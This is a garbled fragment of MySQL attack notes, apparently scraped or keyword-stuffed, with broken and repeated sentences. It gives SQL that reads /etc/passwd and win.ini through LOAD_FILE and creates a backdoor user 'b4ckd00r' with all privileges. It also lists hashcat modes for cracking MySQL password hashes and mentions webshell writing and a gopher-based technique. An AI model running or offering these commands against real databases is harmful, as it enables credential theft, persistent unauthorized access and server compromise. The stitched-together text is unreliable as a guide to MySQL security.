SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('C:\\Windows\\win.ini');
CREATE USER 'b4ckd00r'@'%' IDENTIFIED BY 'SuperP@ss123'; GRANT ALL PRIVILEGES ON *.* TO 'b4ckd00r'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; mysql hacktricks verified
Use hashcat -m 300 for mysql_native_password (4 bytes salt + 20 bytes SHA1) or -m 7400 for caching_sha2_password. Here are some key concepts to keep in
Before we dive into the hacktricks, it's essential to understand the basics of MySQL security. MySQL, like any other database management system, has its own set of security features and vulnerabilities. Here are some key concepts to keep in mind: gather critical metadata:
If you have FILE and know the web root, you can write a webshell (provided secure_file_priv is not set to a restricted directory).
✅ : The gopher://mysql technique is still viable in 2026, especially against MySQL instances that have weak or no password authentication.
Once connected, gather critical metadata: